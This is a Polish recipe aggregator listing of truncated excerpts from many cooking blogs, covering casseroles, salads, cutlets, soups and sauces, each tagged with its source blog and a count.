kostkę (2 na 2 cm). Do dużej miski wbić jajka, dodać śmietanę, żółty, tarty ser, sól, pieprz, paprykę, wymieszać. Na dno formy wsypać chleb, posypać pokrojonym mięsem, równomiernie polać sosem, na wierch zetrzeć mozzarellę. Wstawić do rozgrzanego piekarnika, piec 30-40 min, do momentu aż masa jajeczna zetnie się, a wierzch zapiekanki zarumieni się. Smacznego! Zapiekanka z chleba Zapiekanka

moj przepis na
Zapiekanka ziemniaczana po francusku 140

termoobieg. Gotowe danie posyp świeżymi listkami tyminaku. Gotowe! Wypróbuj również inne pomysły na obiad: 1. Roladki z udźca z indyka z boczkiem i suszonymi pomidorami 2. Polędwiczki wieprzowe w sosie kaparowo -rozmarynowym 3. Risotto z szafranem 4. Pieczona kaczka w jabłkach z tymiankiem 5. Komosa z karmelizowaną brukselką i batatami

SMYKWKUCHNI
Rosół z udek 140

możemy obrać i dodać do zupy. Piotrek je ugotowane udka razem z rosołem. Rosół z udek podajemy gorący z makaronem i natką pietruszki. Ja wolę z udek przygotować błyskawiczny sos z kurczakiem i śmietaną i podać na drugie danie. The post Rosół z udek appeared first on Damsko-męskie spojrzenie na kuchnię

Damsko-męskie spojrzenie na kuchnię
Najlepszy pasztet z dzika 161

Mięso na pasztet z dzika zamarynowałam wcześniej przed gotowaniem, marynowałam mięso na pasztet wraz z udźcem na pieczeń z dzika. A marynata do mięsa była przygotowana z oleju, musztardy, sosu sojowego, syropu klonowego i octu balsamicznego (wszystkiego po 2 łyżki), do tego kilka ziaren jałowca, 3 pokruszone liście laurowe, kilka ziaren ziela angielskiego, po dużej szczypcie estragonu, cząbru, czarnego pieprzu

Damsko-męskie spojrzenie na kuchnię
Frytki belgijskie z piekarnika 127

zazwyczaj poświęca się frytkom, gdyż trzeba je najpierw obgotować z wodzie z cukrem, a potem dokładnie osuszyć, ale elekt końcowy jest tego wart. Można je podać z ketchupem lub sosem czosnkowym albo jako dodatek do kotletów schabowych czy pieczonego kurczaka. Ze względu na pandemię już trzeci tydzień siedzę w domu i do głowy przychodzą mi dziwne pomysły: ostatnio frytki podałam

e-PrzepisyKulinarne
BARSZCZ Z CZERWONĄ KAPUSTĄ I SOCZEWICĄ 146

koniec dodajemy sok z cytryny lub zakwas z buraków oraz posiekany koperek. Próbujemy i w razie potrzeby doprawiamy do smaku, np. solą, pieprzem, majerankiem (jeśli mamy, możemy dodać trochę sosu sojowego). Podajemy z kleksem jogurtu naturalnego lub śmietany. Posypujemy koperkiem

cool and minty
Zapiekanka ziemniaczana po chłopsku 121

Pieczarki kroimy na kawałki. Kiełbasy kroimy w grube talarki. Wszystko dusimy przez kilka minut. Studzimy. Mleko mieszamy ze śmietaną i mąką. Podgrzewamy dodając sera. Mięso i warzywa mieszamy z sosem. Do smaku doprawiamy solą i pieprzem. Przekładamy do naczynia i zapiekamy 45 min. w temp

R'n'G Kitchen
DOMOWY BEZGLUTENOWY KEBAB Z PIEKARNIKA Z PESTO #zostańwdomu 135

produktem wegańskim! Koniecznie sprawdźcie! SKŁADNIKI: ( 3 szt ) * BIO Panini Classic Schär – 1 op / 3 szt * filet z piersi kurczaka – 1 pierś / ok. 300 g MARYNATA DO MIĘSA: * sos sojowy ciemny – 3 łyżki * świeży czosnek – 2 ząbki * słodka i ostra papryka – po 1 łyżeczce * czarny pieprz – 0,5 łyżeczki * koncentrat pomidorowy – 2 łyżki * oliwa

Ostra na Słodko
Młoda kapusta z krakowską i pieczarkami 155

minut. Następnie przykrywamy garnek/patelnię pokrywką i dusimy całość, aż kapusta zmięknie i przejmie cały smak przypraw (powinniśmy uzyskać miękko kapustkę pełną smaku i małą ilość a la sosu). Próbujemy, opcjonalnie doprawiamy pieprzem i/lub solą i jeszcze chwilę dusimy. Tak przygotowaną młodą kapustę można podać np. ze świeżym pieczywem lub ziemniakami. Smacznego

Słodkie okruszki
Sałatka brokułowa z paluszkami surimi 195

twardo. Paluszki krabowe, jajka oraz cebulę kroimy w średniej wielkości kostkę. Majonez mieszamy z jogurtem i zmiażdżonym czosnkiem, doprawiamy solą i pieprzem. Wszystkie składniki wrzucamy do miski, polewamy sosem. Delikatnie mieszamy. Podajemy z pieczywem

Qchnia po prostu
Placki tuńczykowe 264

przygotowania potrzebujemy: Tuńczyk w sosie własnym- 130g Majonez- 15g Jajko- 120g Masło – 20g Natka pietruszki- 2g Cebula w proszku- 1g Sól, pieprz czarny Tuńczyka odcisnąć z wody i dodać do jajek, majonezu, pietruszki i przypraw. Wymieszać dokładnie. Na patelni roztopić masło, nałożyć łyżką placki ( lub użyć foremek do jajek sadzonych). Smażyć do rumianego koloru. Smacznego. Makro w 100g

serzmiesem
Szybko i zdrowo Fast Food w wersji fit Michał Wrzosek 174

foody (...) Zdrowy fast food? Czy to możliwe? Otóż tak i niech ta książka będzie na to dowodem! Znajdziesz tu ponad 30 przepisów na szybkie i klasyczne dania, dodatki i sosy, które zaspokoją apetyt nawet największego fana fast foodów. Ponadto dowiesz się: - Co czyni

Kulinarne pyszności Molki
Kotlety jęczmienno-jajeczne 182

Wegetariańskie kotlety z kaszy jęczmiennej perłowej i jajek, doprawione majerankiem i wędzoną papryką. Podaję z sosem czosnkowym. Z przepisu uzyskacie 8 kotletów średniej wielkości. Kaszę ugotować do miękkości w osolonej

Bullio
Indyk z Europy – pod skrzydłami jakości 137

dania z indyka No to czas na przepisy i patenty szefa, którymi oczywiście się z Wami podzielę. Co zrobiliśmy? Pierwszą propozycją szefa była zaparzana pierś indyka w słodko-ostrym sosie mango-curry z groszkiem cukrowym podana na smażonym ryżu. Danie dla mnie zaskakujące i bardzo smaczne. Dzięki metodzie zaparzania, pierś indyka wyszła soczysta, bardzo krucha i delikatna. Pokrojone w plastry

Dietolog
Kotleciki z kukurydzy z papryką 117

Kotleciki z kukurydzy z papryką są bardzo szybkie w przygotowaniu. Można je serwować jako samodzielne danie z dodatkiem śmietany, ketchupu czy sosu czosnkowego. Można potraktować je również, jako dodatek do dania obiadowego – zarówno można zastąpić nimi mięsne kotlety, jak i ziemniaki. To zależy od Waszych osobistych upodobań. Zapraszam Was na prosty i smaczny przepis. Z poniższej porcji składników wyjdzie

Kuchnia Bazylii
Makaronowa sałatka z szynką i żółtym serem 140

kolorową marchewką i piernikowym dressingiem Sałatka z pieczonych buraków i czerwonych pomarańczy Sałatka ze świeżym ananasem i winogronami Sałatka z paluszkami surimi i czosnkiem Sałatka z krewetkami i różowym sosem Sałatka ze świeżym ananasem i kurczakiem Makaronowa sałatka z szynka i żółtym serem Makaronowa sałatka z szynka i żółtym serem Czas przygotowania: 40 minut Składniki: 1 szklanka suchego makaronu risini

Kulinarne przygody Gatity
Tortellini z parmezanem i kiełbasą 162

Całość podgrzewamy cały czas mieszając, aż wszystkie składniki się rozpuszczą. Na oddzielnej patelni podsmażamy pokrojoną w plastry kiełbasę lub pokrojone salami. Następnie ugotowane tortellini mieszamy w misce z przygotowanym sosem serowym. Dodajemy kiełbasę oraz doprawiamy solą i świeżo mielonym pieprzem. Na końcu całość posypujemy startym parmezanem oraz posiekaną natką pietruszki. Artykuł Tortellini z parmezanem i kiełbasą pochodzi z serwisu Przepisy

FoodMagazine.pl - Przepisy kulinarne
Gołąbki bez zawijania 160

Znakomite na obiad, świetna alternatywa dla normalnych gołąbków zawijanych w kapustę. Szybkie i łatwe do przygotowania. Czas przygotowania:   1 godzina Ilość porcji: >6 osób

karolgotuje
Kluski ruskie – pyszny domowy obiad 870

attachment_8884" align="aligncenter" width="685"] Kluski ruskie – pyszny domowy obiad[/caption] Zobacz inne przepisy na kluski do obiadu : Szare Kluski Z Boczkiem I Kapustą Kiszoną Jaglane Kluski Z Sosem Grzybowym Ziemniaczane Kluski Ze Szpinakiem Mięciutkie Kluseczki Z Białym Serem Kluski Kładzione Z Ziemniaków (377 Kcal) Gnocchi Ze Szpinakiem I Suszonymi Pomidorami Artykuł Kluski ruskie – pyszny domowy obiad pochodzi

e-PrzepisyKulinarne
Kurczak słodko-kwaśny 155

kontrastów i wspaniałych smaków. Chlubą tego kraju jest klasyczny kurczak słodko-kwaśny. Delikatne mięso, słodki i soczysty ananas oraz chrupiące warzywa zanurzone w gęstym i pachnącym czosnkiem, oraz imbirem sosie. Brzmi […] Artykuł Kurczak słodko-kwaśny pochodzi z serwisu Wędrówki po kuchni

Wędrówki po kuchni
DUSZONA TOŁPYGA W SOSIE POMIDOROWYM 116

dodać zblendowane pomidory z przyprawami. Dusić na wolnym ogniu przez 10 minut. Rybę umyć, osuszyć, pokroić w dzwonka. Przyprawić przyprawą do ryb oraz solą i pieprzem. Rybę wkładam na sos pomidorowy i dolewam śmietanę. Dusić przez 15 minut

Kuchnia w oparach
Placuszki kokosowe z ananasem 128

zrumienienia. Po usmażeniu posypać cukrem pudrem. Smacznego (adsbygoogle = window.adsbygoogle || []).push({}); To też może Cię zainteresować: → Placuszki serowe z borówkami → Pancakes z truskawkami → Racuchy z jabłkami → Racuchy dyniowe z sosem pomarańczowym → Crumble kokosowo – ananasowe z daktylami Artykuł Placuszki kokosowe z ananasem pochodzi z serwisu Oryginalny smak

Oryginalny smak
Kurczak w sosie kokosowym ze szpinakiem 146

dwie godziny do lodówki albo dłużej. Na patelni na oleju smażę pierś z kurczaka z dwóch stron po 3 minuty. Mięso odkładam na talerz. Będzie się dusiło w sosie jeszcze. Na oleju przesmażam pokrojoną drobno cebulę i czosnek. Dodaję szpinak, wlewam 50 ml wody i duszę aż szpinak się rozmrozi. Doprawiam solą, pieprzem, dodaję papryczkę chili, wlewam mleczko kokosowe, dodaję

wesoła kuchnia
Placuszki z kaszy manny 145

Przepis na placuszki z kaszy manny. Najlepiej smakują podane ze świeżymi owocami, lub owocowym sosem. Składniki: 1 szklanka kaszy manny 1 szklanka mleka 1 łyżka esencji waniliowej 2 łyżki roztopionego masła 2 jajka 2 łyżki cukru pudru Przygotowanie: Kaszę wsypujemy do miski, zalewamy zimnym mlekiem, odstawiamy na min. 30 minut. Można odstawić kaszę na noc, jeśli placuszki chcemy przygotować

NiePieprz.pl
Pancakes z gotowanych ziemniaków 145

Dziś podrzucam Wam kolejną propozycję – pancakes z gotowanych ziemniaków. To danie, które możecie przygotować na kolację lub śniadanie. Pancakes mogą być alternatywą dla chleba, albo dodatkiem do mięsnego sosu. Pancakes z gotowanych ziemniaków Składniki na 8 pancakes: 200 g ugotowanych ziemniaków 70 g mąki orkiszowej płaska łyżeczka proszku do pieczenia szczypta soli szczypta pieprzu 150 ml mleka roślinnego jajko

365 dni dookoła kuchni
Spaghetti Carbonara 150

Dorzucamy ugotowany makaron spaghetti i 25 g startego sera grana padano, mieszamy. 4. Teraz dodajemy jajka i mieszamy. Jajka nie powinny nam się ściąć, tylko powinien zrobić się nam sos. Moje ciut się ścięły, ale był też sosik, więc to nie przeszkadzało w niczym ;-). Doprawiamy solą i pieprzem. Nakładamy na talerze i posypujemy pozostałym serem. Smacznego

kruche babeczki
PIZZA NA ZAKWASIE 167

papierze do pieczenia) podsypanym lekko mąką rozgniatamy ciasto dłonią i rozciągając dłońmi tworzymy koło, o odpowiadającej nam średnicy i grubości ciasta. Ja krawędzie ciasta zostawiam grubsze. Krążek smarujemy sosem pomidorowym (można odparować i doprawić sok pomidorowy, można posłużyć się ketchupem- najlepiej domowym, lub wykorzystać pikantny ajwar- moja ulubiona wersja) i posypujemy ulubionymi dodatkami, u nas zwykle: pieczarki, drobno pokrojona szynka

Smaczne Zdrowe
Roladki schabowe nadziewane suszonymi pomidorami i oliwkami 179

długo, aby nie wysuszyć mięsa. Przed podaniem wyjąc wykałaczki. Podawać z ulubioną surówka i ziemniakami lub kaszą bulgur. Smacznego! P.s. pozostały wywar można zaciągnąć słodką smietanką- wtedy otrzymamy wyśmienity sos do roladek

Krylowa Kuchnia
Gulasz z ciecierzycy 220

Składniki: 400 g ciecierzycy 1 marchewka 250 g brukselki 200 g pieczarek 1 puszka krojonych pomidorów, u mnie domowe jarzynka, pieprz słodka papryka zioła prowansalskie sos chili Ciecierzycę razem z … Czytaj dalej Gulasz z ciecierzycy

czarrna od kuchni
Klopsikowa patelnia 151

pokrojone w duże kawałki papryki oraz cukinie, dokładamy podsmażone klopsiki i całość dusimy pod przykryciem przez około 20 minut, co jakiś czas mieszając, aż ziemniaki zmiękną *** *** Następnie do powstałego sosu dodajemy koncentrat pomidorowy, mieszamy, przyprawiamy całość solą pieprzem, majerankiem i ostrą papryką mieloną. Gotujemy już bez przykrycia przez około 5 minut *** *** SMACZNEGO ***     POLECAM RÓWNIEŻ: POMYSŁY NA SZYBKI, TANI

Blog z Apetytem
Ziemniaki z kiełbasą pieczone w rękawie 160

osób, którym brakuje czasu na stanie przy garach. Wystarczy jedynie pokroić składniki, włożyć do woreczka razem z przyprawami i upiec. Gotowe danie można dopełnić podając np. kefir, keczup, sos czosnkowy lub surówkę.   Pomysły na ziemniaki… ** Ziemniaki z patelni ** Ziemniaki faszerowane mięsem ** Kluski śląskie ** Pyzy z mięsem   (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: 500 g ziemniaków 200 g cienkiej kiełbasy

Kulinarne S.O.S.
Ziemniaki z kiełbasą pieczone w rękawie 160

osób, którym brakuje czasu na stanie przy garach. Wystarczy jedynie pokroić składniki, włożyć do woreczka razem z przyprawami i upiec. Gotowe danie można dopełnić podając np. kefir, keczup, sos czosnkowy lub surówkę.   Pomysły na ziemniaki… ** Ziemniaki z patelni ** Ziemniaki faszerowane mięsem ** Kluski śląskie ** Pyzy z mięsem   (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: 500 g ziemniaków 200 g cienkiej kiełbasy

Kulinarny S.O.S.
Kopytka w sosie śmietanowym z pieczarkami, szpinakiem i parmezanem 132

Ugotowane przekładam na talerz. Na patelni smażę czosnek oraz szalotkę. Dodaję pieczarki i smażę składniki kilka minut. Dodaję szpinak i duszę składniki jeszcze dwie minuty. Wlewam śmietanę i redukuję sos przez 5 minut, na koniec doprawiam wszystko solą, pieprzem i gałką muszkatołową. Dodaję natkę pietruszki, parmezan i ugotowane kopytka a całość dokładnie mieszam i ściągam z ognia. Podaję od razu

Mango Papaja
Wegański Butter Chicken 106

jeść bez przerwy i do wszystkiego 😂 Jeśli lubisz dania w tym klimacie, to sprawdź również: Curry z cukinią i ciecierzycą Indyjska zupa kalafiorowa Dahl z czerwonej soczewicy Ryż w sosie chilli Krem cebulowy po azjatycku

Blendman
Karkówka zapiekana z kapustą pekińską 125

przez około godzinę. [caption id="attachment_8867" align="aligncenter" width="1024"] Karkówka zapiekana z kapustą pekińską[/caption] Zobacz inne przepisy na karkówkę: Roladki Z Karkówki Zapiekane W Sosie Pomidorowym Karkówka Pieczona Z Warzywami – Prosty Przepis Na Domowy Obiad Karkówka Z Pieczarkami I Cebulą Karkówka Po Cygańsku Z Pieczarkami I Papryką Karkówka Pieczona W Musztardzie Gulasz Z Karkówki Z Warzywami Artykuł

e-PrzepisyKulinarne
Gulasz z piersi indyka z suszonymi grzybami 184

Filet z indyka to jedno z najbardziej polecanych mięs przez dietetyków, dlatego warto włączyć je do swojej diety. Dziś pyszna propozycja - delikatny gulasz w aromatycznym sosie z suszonych borowików. Na pewno macie jeszcze w kuchennych szafkach zapasy suszonych grzybów, czas by je powoli upłynniać. Prosty do przygotowania posiłek dla całej rodziny

Gotuj zdrowo!Guten Appetit!
Domowe frytki z żółtym serem 208

Domowe frytki z żółtym serem to propozycja na ciekawą przekąskę na wieczór albo na spotkanie ze znajomymi. Trzeba przyznać, że do zbyt dietetycznych ona nie należy

Kulinarnyblog.pl - wiesz jak gotować!
Biała kiełbasa po berlińsku. Przepis na curry wurst 554

mamy zapiekanki, w Niemczech narodowy fast food to curry wurst. Gorące kiełbaski w pikantnym sosie można kupić na ulicach wszystkich dużych miast. W Berlinie jest nawet poświęcone im muzeum. Historia dania sięga 1949 roku. Recepturę opracowała Herta Heuwer, która po prostu szukała sposobu na wykorzystanie przyprawy curry przekazanej przez wojska brytyjskie. Mamy dla was przepis na ten przysmak. Zaskoczcie domowników

Kulinarna Polska
Szybki przepis na domowy chleb 186

chleb do piekarnika nagrzanego do 200 st. C. i pieczemy przez ok. 30 minut. Po upieczeniu chleb zostawiamy na kratce, aby odrobinę ostygł. Zobacz również: Penne z kurczakiem w sosie śmietanowym Smacznego! Artykuł Szybki przepis na domowy chleb pochodzi z serwisu Kulinarny Blog - wiesz jak gotować

Kulinarnyblog.pl - wiesz jak gotować!
Zupa na mieszance chińskich warzyw 126

Zdjąć szumy i doprawić do smaku solą. Gotować 10 minut. Jeśli dodacie porcję rosołową to radzę obrać mięso z kości. Koście wyrzucić a mięsko do garnka. Dodać mieszankę warzywną, sos sojowy, magii. Doprawić do smaku pieprzem, delikatnie. Gotować 5 minut. Dodać pokruszony makaron ryżowy, wymieszać. Zostawić na chwilkę, żeby makaron zmiękł. Smacznego

Kuchnia Pokoleń
Jak usprawnić przygotowywanie posiłków? 156

zjeść kolejnego dnia w domu, a jeśli boisz się, że będziesz jeść jedną rzecz przez kilka następnych dni to po prostu podziel to na porcje i schowaj do zamrażarki. Sos do makaronu, zupę, potrawkę, curry, kotlety spokojnie możesz zamrozić bez szkody na jakości. Po rozmrożeniu wszystkie te potrawy będą na pewno równie pyszne. Tutaj kilka przepisów na obiady, które możecie

wiecejwarzyw.pl
Sałatka z melonem, wędzonym łososiem i chrupiącym słonecznikiem 171

osuszyć, a mozzarellę odsączyć z zalewy. 3. Pomidorki pokroić na ćwiartki, a ogórka obrać i pokroić na grubsze półplasterki. 4. Pestki słonecznika uprażyć na suchej patelni. 5. Dressing: Składniki sosu dokładnie ze sobą wymieszać i wstawić do lodówki na około 30 minut żeby się przegryzły. 6. Na talerzu ułożyć rukolę, łososia, melon, ser mozzarella, posypać słonecznikiem, wymieszać i polać dressingiem

Szalona Kuchnia Eweliny
Kopytka z burakami 119

kopytka do których dodałam po prostu buraki. Ich smak zmienił się bardzo delikatnie, natomiast uzyskały one dzięki temu przepiękny kolor. Możemy je podać tradycyjnie z gulaszem, a także z sosem serowym lub po prostu przesmażyć z czosnkiem na oliwie, a potem posypać tartym parmezanem. Będzie pysznie! Kulinarne inspiracje Na blogu znajdziecie także inne pomysły na kopytka: kopytka z batatów bazyliowe

Kulinarne przygody Gatity
Perliczka duszona w sosie śmietanowym z brokułami. 190

dusimy na małym ogniu do miękkości. Brokuł dzielimy na małe różyczki, gotujemy osobno w osolonej wodzie.  Kiedy mięso będzie miękkie wyjmujemy z garnka. Dolewamy około szklanki wody do sosu, następnie śmietanę i zagęszczamy mąką wymieszaną z wodą. Doprawiamy do smaku solą i pieprzem. Gotujemy parę minut aż zgęstnieje. Dorzucamy ugotowany brokuł a następnie wkładamy miękkie mięso.  Podajemy

Radość kipiąca uśmiechem.
Buraczki z czosnkiem 166

przygotowaniu, ale sałatka zyska bardziej na smaku, jeśli odstawisz ją na parę chwil, by składniki się przegryzły.   (adsbygoogle = window.adsbygoogle || []).push({}); Mięsne dania… Rolada z mięsa mielonego Włoski sos bolognese Kalafiorowy MÓZG Cukinia faszerowana mięsem Paprykowe krążki nadziewane mięsem

Kulinarne S.O.S.
Buraczki z czosnkiem 166

przygotowaniu, ale sałatka zyska bardziej na smaku, jeśli odstawisz ją na parę chwil, by składniki się przegryzły.   (adsbygoogle = window.adsbygoogle || []).push({}); Mięsne dania… Rolada z mięsa mielonego Włoski sos bolognese Kalafiorowy MÓZG Cukinia faszerowana mięsem Paprykowe krążki nadziewane mięsem

Kulinarny S.O.S.
Chiny - Sałatka z cukinii 152

blogu inspirowaliśmy się przy tworzeniu tej błyskawicznej sałatki z cukinii. Składniki: - 1 duża cukinia  - 2 łyżki oleju - 2 ząbki czosnku - szczypta papryki chilli  - 1 łyżka sosu sojowego - 1 łyżeczka octu - 0.5 łyżeczki oleju sezamowego (opcjonalnie)  - szczypta cukru Przygotowanie: 1) Cukinię dokładnie myjemy i ścieramy na grubych oczkach tarki (lub na tarce do warzyw julienne). Startą cukinię przekładamy

Roślinożerni urlopowicze
Włochy - Sycylijska caponata 124

Caponata to tradycyjne wegetariańskie danie kuchni sycylijskiej, składające się z bakłażanów w slodko-kwaśnym sosie z dodatkiem oliwek, kaparów, rodzynek i orzeszków piniowych. Każda sycylijska rodzina ma swój własny przepis na caponatę, a na całej Sycylii istnieje podobno aż 37 jej wersji. Oto nasza wersja: Składniki (3-4 porcje): - 3 łyżki oliwy - 2 cebule - 1 ząbek czosnku - 1 duży bakłażan

Roślinożerni urlopowicze
Fit zapiekanka z kalafiora, brokuła i cukinii 124

Ostania “ Fit zapiekanka z bakłażana ” okazała się naszym domowym hitem . Dlatego z powodu braku owych bakłażanów postanowiłam przygotować podobną zapiekankę, ale z warzyw, które

Moja Delicja
Gnocchi, kluseczki marchewkowe 125

toczyć na deseczce do gnocchi – jeśli mamy. Gotujemy w dużej ilości lekko osolonej wody. Gdy kluseczki wypłyną na wierzch – są gotowe. Można podawać z masłem lub dowolnym sosem

Kucharzyca
Roladki schabowe z pikantnym kąskiem w sosie pomidorowym 149

Układamy roladki w naczyniu żaroodpornym. 16. Na patelnię wylewamy passatę. 17. Dodajemy do niej cukier i bazylię, doprawiamy do smaku solą i pieprzem. 18. Piekarnik nagrzewamy do 190℃. 19. Sos na pateli doprowadzamy do wrzenia, po czym zalewamy nim roladki. 20. Przykrywamy naczynie żaroodporne i pieczemy roladki przez 50 minut. Roladki można podawać praktycznie z każdym dodatkiem, jednak według mnie

Prosto z Kotła
Kanapka – idealna przekąska na drugie śniadanie 188

towarzystwie sałaty, żółtego sera oraz ogórka konserwowego, pomidora i cebuli. Do kanapki z pieczonym indykiem możemy dodać np. dojrzewający ser, świeżą paprykę i piklowaną cebulę, a całość uzupełnić smacznym sosem. Z pasztetem świetnie komponuje się z kolei ogórek kiszony i tarty chrzan, które doskonale smakują z dodatkiem rukoli. Wegetarianie również mogą zdecydować się na pyszną kanapkę, np. z pastą słonecznikową

FoodMagazine.pl - Przepisy kulinarne
Kotleciki Myśliwego 156

Kotleciki Myśliwego Smaczne kotleciki z warzywami w pysznym sosie. Składniki: ·        1 kg mięsa mielonego z łopatki wieprzowej ·        Jajko ·        Sól ·        Papryka ostra ·        Majeranek ·        3 łyżki

Kulinarna Chwila
Kluski leniwe bezglutenowe 126

Kopytka i kluski leniwe to moje ulubione smaki dzieciństwa. Zajadałam je z masłem i cukrem, ze śmietaną, jogurtem, czy mięsnymi, gęstymi sosami. Na każdy mój przyjazd do dziadków moja babcia szykowała mi solidną ich porcję. Teraz jednak, kiedy przyjdzie mi ochota przygotowuję je sama w domu. Czasem w wersji z glutenem, dzisiaj jednak bez niego. Spróbujcie i porównajcie z podstawową

Be Fit Be Strong
Sałatka z komosą ryżową, kozim serem, granatem i gruszką 165

wegetariańską i bardzo sycącą sałatkę. Do jej przygotowania będzie potrzebować komosę ryżową, świeży szpinak, miękką oraz soczystą gruszkę, dojrzałego granata i kozi ser. Co ciekawego, sałatki nie polałam żadnym sosem ani jej nie przyprawiłam, a pomimo tego była soczysta i smaczna w smaku. Poniższa sałatka to pomysł na lekkie, drugie śniadanie, np. szkoły/pracy. Będzie idealna dla osób, które chcą

Ugotować
Gulasz z kurczaka w sosie cebulowym 145

Dusimy na małym ogniu przez 20 minut. 9.   Po tym czasie zaprawiamy zahartowaną śmietaną. 10. 2 łyżki mąki rozrabiamy w 4 łyżkach wody i zagęszczamy tym sos. 11. Podgrzewamy jeszcze przez 2-3 minuty. Gulasz można podawać z kaszą, ryżem lub ziemniakami, ale mi najbardziej smakuje z makaronem pene :) Smacznego

Prosto z Kotła
Spaghetti polsko-włoskie 108

pieprz do smaku. 7.   Całość dusimy ok. 15-20 minut. 8.   Podajemy z makaronem spaghetti, który wcześniej posypujemy startym żółtym serem, a następnie polewamy mięsnym sosem. Danie można udekorować świeżymi listkami bazylii. Z podanych składników wychodzi ok. 5 porcji. Smacznego

Prosto z Kotła
Kotlety z kaszy kuskus 130

mlekiem i tarterj bułce. 13. Smażymy na oleju do porządnego zarumienienia. Z podanych składników powinno wyjść ok. 9-10 kotletów. Świetnie komponują się z duszonymi lub grillowanymi warzywami i sosem czosnkowym. Smacznego

Prosto z Kotła
Chilli con carne 130

smaku Przygotowanie: 1.   Na patelni rozgrzewamy oliwę i smażymy mięso. 2.   Przekładamy je do garnka i zalewamy passatą. Podpalamy gaz pod garnkiem i zaczynamy podgrzewać sos. 3.   Na patelni smażymy cebulę pokrojoną w pół-piórka, po czym dodajemy ją do garnka z mięsem. 4.   Paprykę kroimy w kostkę i dodajemy do garnka

Prosto z Kotła
Sałatka szpinakowa z mozzarellą i suszonymi pomidorami 136

dużej misce umieszczamy: szpinak, mozzarellę, pomidory, makaron i pestki słonecznika. W miseczce mieszamy ze sobą pesto i oliwę. Doprawiamy do smaku solą i pieprzem. Do miski ze szpinakiem wlewamy sos z pesto i dokładnie mieszamy. Sałatkę można podawać samodzielnie lub jako dodatek do posiłku (np. zamiast samego makaronu). Smacznego

Prosto z Kotła
Pieczone nuggetsy z kurczaka w płatkach kukurydzianych 155

blasze tak, aby kawałki się ze sobą nie stykały. 8.   Pieczemy nuggetsy w 190℃ przez 20 minut, grzanie góra-dół. Do nuggetsów idealnie będzie pasował  sos koperkowo-czosnkowy . Smacznego

Prosto z Kotła
Omlet pełnoziarnisty z sosem jogurtowym i kiwi 163

Zdejmujemy omlet na talerz. 8.   W miseczce mieszamy ze sobą jogurt i 1 łyżeczkę miodu. 9.   Kiwi obieramy i kroimy w kostkę. 10. Polewamy omlet sosem i kładziemy na wierzch kawałki kiwi. Oczywiście kiwi można zastąpić dowolnym owocem, lub posypać orzechami. Smacznego

Prosto z Kotła
Pieczona papryka faszerowana mięsem mielonym, ryżem i pieczarkami 134

czasie na każdej połówce kładziemy plasterek żółtego sera i pieczemy jeszcze 5 minut do momentu, aż się rozpuści. Jako dodatek do papryki wystarcza mi surówka z kalarepą i sosem jogurtowym , ale można też dołożyć do tego pieczone ziemniaki, kaszę lub ryż.  Smacznego

Prosto z Kotła
Kurczak z warzywami po meksykańsku 141

patelnię szklankę wody, wszystko mieszamy. 13. W razie potrzeby doprawiamy solą i pieprzem. 14. W szklance lub miseczce mieszamy mąkę ziemniaczaną z 3 łyżkami wody i zagęszczamy tym sos. 15. Podgrzewamy jeszcze 2 minuty. Podajemy z białym ryżem, a po wierzchu posypujemy startym żółtym serem. Smacznego

Prosto z Kotła
Surówka z kalarepą i sosem jogurtowo-koperkowym 126

miski wkładamy sałatę. 3.   Na niej kładziemy kalarepę. 4.   W misce mieszamy jogurt z koperkiem, doprawiamy solą i pieprzem. 5.   Polewamy sałatkę sosem. Smacznego

Prosto z Kotła
Kotlety recyklingowe ( z mięsa z rosołu) 145

wyszło 8 sztuk), panierować w pozostałej bułce tartej, a następnie smażyć na rozgrzanym oleju. Po zdjęciu z patelni można od razu pałaszować np. z ziemniaczkami. Ja swoje podałam z sosem chrzanowym.Smacznego

Krylowa Kuchnia
Sałatka z serami pleśniowymi, truskawkami i winogronami 133

łyżki oleju rzepakowego Winogrona pokroić w połówki, a truskawki w ćwiartki. Ser pokroić w półcentymetrową kostkę. Wszystkie składniki umieścić w naczyniu polać olejem i odstawić na 5-10 min. Sos powstanie z połączenia oleju i soku owocowego. Smacznego

Krylowa Kuchnia
Zapiekanka z makaronu z szynką, warzywami i serem 166

grzyby. 5.  Wszystko przykryć pozostałym serem. 6.  Na samym końcu zapiekankę posypać kukurydzą. Piec przez godzinę w 180 st C w nagrzanym piekarniku. Podawać z ulubionym sosem. Smacznego

Krylowa Kuchnia
Sałatka z karmelizowaną gruszką i serami pleśniowymi 138

się rozpuści ewentualnie doprawiamy solą i pieprzem. Na talerzu wykładamy makaron następie układamy gruszki. Ser gorgonzola kroimy w kostkę a orzechy rozdrabniamy.Gruszki posypujemy serem i orzechami wszystko polewamy sosem z patelni. Smacznego

Krylowa Kuchnia
Skrzydełka pieczone w ketchupie i czosnku 154

surówki, jako danie obiadowe, jak i na domową imprezę jako zakąskę do wiadomych trunków:)) 1 kg skrzydełek Na marynatę 4 łyżki pikantnego ketchupu 1 łyżeczka miodu 1 łyżka sosu sojowego 4 ząbki  szczypta papryki ostrej 1/2 łyżeczki papryki słodkiej 1 łyżeczka zielonego pesto pieprz Skrzydełka umyć i osuszyć ręcznikiem papierowym. Czosnek obrać i przecisnąć przez praskę, wymieszać z pozostałymi

Krylowa Kuchnia
Surówka z kapusty pekińskiej z papryką i pomidorem 150

posikać bardzo drobno. Jabłko obrać i zetrzeć na jarzynowych oczkach tarki. W szklance wymieszać sok z cytryny, olej, natkę, koperek i przyprawy. Wszystkie składniki umieścić w salaterce. Wszystko zalać sosem i dokładnie wymieszać. Podawać do obiadu, do wszystkich mięs, klusek, czy ziemniaków. Smacznego

Krylowa Kuchnia
Sałatka z pęczaku z fetą, suszonymi pomidorami i oliwkami 135

mniejsze kawałki, a ser w kostkę. Kaszę wsypać do miski, dodać ser, pietruszkę, oliwki, prażoną cebulkę i pomidory. Oliwę wymieszać z solą, pieprzem i przeciśniętym przez praskę czosnkiem. Sosem zalać sałatkę i dokładnie wymieszać. Odstawić do lodówki na 15 minut, Smacznego

Krylowa Kuchnia
Utopence, czyli parówki marynowane 151

lubi wciągnąć pysznego serdelka? Ja na przykład uwielbiam jeszcze goracą paróweczkę pokroić grubo na świeży chleb z masłem, aż masełko się stopi...Albo w sosie musztardowym lub chrzanoym, no pyszności. Że pies z budą i łańcuchem tam zmielony, a co mi tam, Chińczycy nie takie rzeczy jedzą i żyją🤣, no i poza tym na coś trzeba umrzeć... Ważne,żeby parówki

Krylowa Kuchnia
Jajka faszerowane tuńczykiem z ogórkiem konserwowym 136

